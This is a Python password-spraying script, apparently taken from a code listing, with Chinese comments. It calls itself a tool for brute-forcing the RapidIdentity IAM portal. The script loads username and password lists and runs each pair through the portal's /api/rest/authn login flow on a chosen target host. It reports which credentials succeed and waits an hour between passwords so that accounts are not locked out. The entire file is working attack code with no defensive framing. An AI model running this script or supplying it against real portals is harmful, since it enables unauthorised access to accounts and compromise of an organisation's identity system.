1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
import time
import json
import requests
import argparse
def guess_password(host, username, password):
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
}
# 启动会话以在请求间保持cookie
session = requests.Session()
r1 = session.get('https://' + host + '/api/rest/authn', headers=headers)
result = json.loads(r1.text)
# 获取ID值
id_value = result["id"]
usernameJSON = {'id': id_value, 'isPasswordRecovery': 'false', 'type': 'username', 'username': username}
r2 = session.post('https://' + host + '/api/rest/authn', headers=headers, json=usernameJSON)
passwordJSON = {'type': 'password', 'id': id_value, 'password': password}
r3 = session.post('https://' + host + '/api/rest/authn', headers=headers, json=passwordJSON)
result = json.loads(r3.text)
# 查找错误消息
try:
error_message = result["error"]["message"]
return error_message
# 如果有错误消息以外的内容,打印完整响应
except KeyError:
try:
if result["type"] == "complete":
return "认证成功!"
except KeyError:
return result
parser = argparse.ArgumentParser(description='这是一个暴力破解RapidIdentity IAM门户的工具')
parser.add_argument('-u', '--users', help='输入文件名', required=True)
parser.add_argument('-p', '--passwords', help='字典文件名', required=True)
parser.add_argument('-t', '--target', help='目标主机名', required=True)
args = parser.parse_args()
userlist = open(args.users, 'r').read().split('\n')
passlist = open(args.passwords, 'r').read().split('\n')
print("测试 " + str(len(userlist)) + " 个用户名和 " + str(len(passlist)) + " 个密码。")
for password in passlist:
print("喷射密码: " + password)
for user in userlist:
result = guess_password(args.target, user, password)
print("尝试 " + user + ":" + password + " - " + result)
print("每个密码之间休眠1小时")
time.sleep(3600)
|